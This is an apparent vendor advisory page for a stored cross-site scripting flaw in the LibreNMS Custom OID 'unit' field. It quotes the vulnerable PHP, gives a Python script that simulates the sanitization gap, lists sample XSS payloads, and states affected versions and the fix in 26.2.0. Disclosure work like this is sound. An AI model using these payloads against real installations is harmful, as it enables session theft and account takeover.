CVE-2026-27016

The unit parameter in Custom OID functionality lacks strip_tags() sanitization while other fields (name, oid, datatype) are sanitized. The unsanitized value is stored in the database and rendered without HTML escaping, allowing Stored XSS.

Details

Vulnerable Input Processing (includes/html/forms/customoid.inc.php lines 18-21):

$name = strip_tags((string) $_POST['name']);       // line 18 - SANITIZED
$oid = strip_tags((string) $_POST['oid']);         // line 19 - SANITIZED
$datatype = strip_tags((string) $_POST['datatype']);  // line 20 - SANITIZED
$unit = $_POST['unit'];                            // line 21 - NOT SANITIZED!

Vulnerable Output (graphs/customoid.inc.php lines 13-20):

$customoid_unit = $customoid['customoid_unit'];  // Retrieved from DB
$customoid_current = \LibreNMS\Util\Number::formatSi(...) . $customoid_unit;
echo "...$customoid_current...";  // ECHOED WITHOUT ESCAPING!

PoC

#!/usr/bin/env python3
"""
XSS test for LibreNMS Custom OID - unit parameter
"""

import html as html_module
import re

def strip_tags(value):
    return re.sub(r'<[^>]*?>', '', str(value))

# Simulate form processing (customoid.inc.php lines 18-21)
test_inputs = {
    'name': '<script>alert(1)</script>Test OID',
    'oid': '1.3.6.1.4.1.2021.10.1.3.1',
    'datatype': 'GAUGE',
    'unit': '<script>alert("XSS")</script>',
}

name = strip_tags(test_inputs['name'])      # Sanitized
oid = strip_tags(test_inputs['oid'])        # Sanitized
datatype = strip_tags(test_inputs['datatype'])  # Sanitized
unit = test_inputs['unit']                   # NOT SANITIZED!

print("Input Processing Analysis:")
print(f"  name (strip_tags):     {name}")
print(f"  oid (strip_tags):      {oid}")
print(f"  datatype (strip_tags): {datatype}")
print(f"  unit (NO strip_tags):  {unit}")
print()
print("*** VULNERABILITY: 'unit' parameter has NO strip_tags()! ***")

# Test XSS payloads
payloads = [
    '<script>alert("XSS")</script>',
    '<img src=x onerror=alert(1)>',
    '<svg onload=alert(1)>',
]

print("\nXSS Payload Tests:")
for payload in payloads:
    escaped = html_module.escape(payload)
    has_xss = '<script>' in payload or 'onerror=' in payload.lower()
    print(f"  Payload: {payload}")
    print(f"    Raw (vulnerable): Contains executable code: {has_xss}")
    print(f"    Escaped (safe):   {escaped}")

Expected Output

Input Processing Analysis:
  name (strip_tags):     alert(1)Test OID
  oid (strip_tags):      1.3.6.1.4.1.2021.10.1.3.1
  datatype (strip_tags): GAUGE
  unit (NO strip_tags):  <script>alert("XSS")</script>

*** VULNERABILITY: 'unit' parameter has NO strip_tags()! ***

• Attack Vector: User with device edit permissions sets malicious Unit value
• Exploitation: XSS payload stored in database, executes for all users viewing device graphs
• Consequences:
  • Session hijacking via cookie theft
  • Admin account takeover
  • Malicious actions on behalf of victims
  • Persistent attack affecting all users
• Affected Users: All LibreNMS installations with Custom OID feature

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2026-27016 has a CVSS score of 5.4 (Medium). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (26.2.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-27016? CVE-2026-27016 is a medium-severity cross-site scripting (XSS) vulnerability in librenms/librenms (composer), affecting versions >= 24.10.0, < 26.2.0. It is fixed in 26.2.0. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2026-27016? CVE-2026-27016 has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of librenms/librenms are affected by CVE-2026-27016? librenms/librenms (composer) versions >= 24.10.0, < 26.2.0 is affected.
4. Is there a fix for CVE-2026-27016? Yes. CVE-2026-27016 is fixed in 26.2.0. Upgrade to this version or later.
5. Is CVE-2026-27016 exploitable, and should I be worried? Whether CVE-2026-27016 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-27016 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-27016? Upgrade librenms/librenms to 26.2.0 or later.